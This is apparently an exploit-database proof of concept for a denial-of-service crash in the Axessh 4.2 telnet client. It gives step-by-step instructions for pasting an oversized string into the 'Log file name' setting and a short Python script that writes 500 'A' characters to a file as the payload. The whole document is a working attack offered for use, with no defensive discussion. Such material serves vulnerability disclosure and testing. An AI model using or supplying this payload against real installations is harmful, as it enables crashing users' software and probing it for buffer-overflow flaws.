#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-14#Vendor Homepage: http://www.labf.com#Software Link: http://www.labf.com/download/axessh.exe#Tested Version: 4.2#Tested on: Windows 7 Service Pack 1 x32#Steps to produce the crash:#1.- Run python code: Axessh_4.2.py#2.- Open Axess.txt and copy content to clipboard#3.- Open Axessh.exe#4.- In "Telnet Connect Host" select "Details>>" > "Settings"#5.- Select "Logging" and enable "Log all sessions output"#6.- In "Log file name" paste Clipboard#7.- Select "OK" and in "Telnet Connect Host" select "Ok"#8.- Crashed
cod = "\x41"* 500
f = open('Axess.txt','w')
f.write(cod)
f.close()